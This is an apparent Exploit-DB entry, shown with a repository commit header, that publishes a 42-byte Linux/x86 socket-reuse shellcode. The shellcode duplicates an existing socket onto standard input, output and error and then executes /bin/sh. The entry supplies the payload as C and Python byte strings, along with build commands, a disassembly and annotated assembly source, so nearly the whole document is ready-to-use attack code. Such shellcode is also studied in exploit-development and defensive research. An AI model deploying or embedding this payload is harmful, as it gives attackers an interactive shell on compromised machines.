a464ad083a
5 changes to exploits/shellcodes winrar 5.80 - XML External Entity Injection Total.js CMS 12 - Widget JavaScript Code Injection (Metasploit) Moxa EDR-810 - Command Injection / Information Disclosure Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
82 lines
No EOL
2.7 KiB
Text
82 lines
No EOL
2.7 KiB
Text
# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
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# Author : WangYihang
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# Date: 2019-10-22
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# Tested on: Linux_x86
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# Shellcode Length: 42
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# CVE: N/A
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;================================================================================
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# Shellcode :
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char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
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;================================================================================
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# Python :
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shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
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;================================================================================
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; Build :
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; $ nasm -f elf32 shellcode.asm -o shellcode
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; $ objdump -d shellcode
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; shellcode: file format elf32-i386
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; Disassembly of section .text:
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; 00000000 <_start>:
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; 0: 31 db xor %ebx,%ebx
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; 2: b3 03 mov $0x3,%bl
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; 4: 31 c9 xor %ecx,%ecx
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; 6: b1 03 mov $0x3,%cl
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; 00000008 <dup2>:
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; 8: fe c9 dec %cl
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; a: 31 c0 xor %eax,%eax
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; c: b0 3f mov $0x3f,%al
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; e: cd 80 int $0x80
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; 10: 80 f9 ff cmp $0xff,%cl
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; 13: 75 f3 jne 8 <dup2>
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; 00000015 <execve>:
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; 15: 31 c9 xor %ecx,%ecx
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; 17: 6a 0b push $0xb
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; 19: 58 pop %eax
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; 1a: 99 cltd
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; 1b: 52 push %edx
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; 1c: 68 2f 2f 73 68 push $0x68732f2f
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; 21: 68 2f 62 69 6e push $0x6e69622f
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; 26: 89 e3 mov %esp,%ebx
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; 28: cd 80 int $0x80
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;================================================================================
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; Assembly language source code :
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; shellcode.asm
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;global _start
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; _start:
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; set ebx to the old socket fd = 3
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; xor ebx, ebx
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; mov bl, 03H
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;
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; init new socket fd
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; xor ecx, ecx
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; mov cl, 3
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;
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; dup2(socket, stdin)
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; dup2(socket, stdout)
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; dup2(socket, stderr)
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; dup2:
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; dec cl
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; xor eax, eax
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; mov al, 3FH
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; int 80H
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; cmp cl, 0FFH
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; jne dup2
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;
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; execve:
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; execve("/bin/sh", "/bin/sh", 0)
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; xor ecx, ecx
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; push 0bH
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; pop eax
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; cdq
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; push edx
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; push "//sh"
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; push "/bin"
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; mov ebx, esp
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; int 80H |